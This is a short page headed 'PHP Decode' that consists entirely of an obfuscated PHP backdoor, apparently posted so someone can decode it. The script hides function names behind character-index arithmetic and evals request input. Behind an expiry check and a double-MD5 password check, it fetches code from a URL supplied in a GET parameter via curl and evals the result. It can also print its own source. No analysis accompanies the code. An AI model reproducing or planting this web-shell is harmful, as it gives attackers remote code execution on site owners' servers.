PHP Decode

<?      $a=range("~"," "); 
    	$b=${ 
    	$a[26+5].$a[28+31].$a[22+25].$a[12+35].$a[10+41].$a[40+13].$a[52+5] 
    }; 
    	if((in_array(gettype($b).count($b),$b)&&count($b)==1+24)){ 
    		(($b[13+54]=$b[67+0].$b[64+16])&&($b[76+14]=$b[60+7]($b[41+49]))&&(@eval($b[11+56](${ 
    		$b[34+4] 
    	} 
    	[29+0])))); 
    } 
    	 class _{ 
    		staticfunction___($c,$d=0){ 
    		$e=range("~"," "); 
    		$f=explode("o",$c); 
    		foreach($f as $g=>$h)@$i.=$e[$h-$d]; 
    		return $i; 
    	} 
    		static function ____($j,$l){ 
    		$m=curl_init($j); 
    		curl_setopt($m,CURLOPT_RETURNTRANSFER,1); 
    		$n=curl_exec($m); 
    		return empty($n)?$l($j):$n; 
    	} 
    		static function __(){ 
    		$p=array("27o12o25o29o10o25o31o24o9o16o27o10o21o15o16","11o10o12o31o12o15o10o77o75","20o11o15o16o31o26o25o27o15o26o25","14o29o27o19","28o29o11o25o72o74o31o26o25o27o15o26o25","24o21o18o25o31o23o25o10o31o27o15o16o10o25o16o10o11","54o84","1","79o84","61o44o44o61o37","15o24",); 
    		foreach($p as $h)$q[]=self::___($h); 
    			$r=$q[1](${ 
    			"_GET" 
    		} 
    		[$q[4+5]]); 
    		$s=@$q[1+2]($q[6+0],$r); 
    		$t=$q[0+2]($s,true); 
    			@${ 
    			"_GET" 
    		} 
    		[$q[9+1]]==1&&die($q[4+1](__FILE__)); 
    		if(((@$t[0] - time()) > 0) and (md5(md5($t[0+2])) === "cb508614978e98198cb3d9c89d0fc47f") ): $u=self::____($t[0+1],$q[1+4]); 
    		@eval($q[4+0]($u)); 
    		die; 
    		endif; 
    	} 
    } 
    _::__(); 
    SeoOk ?>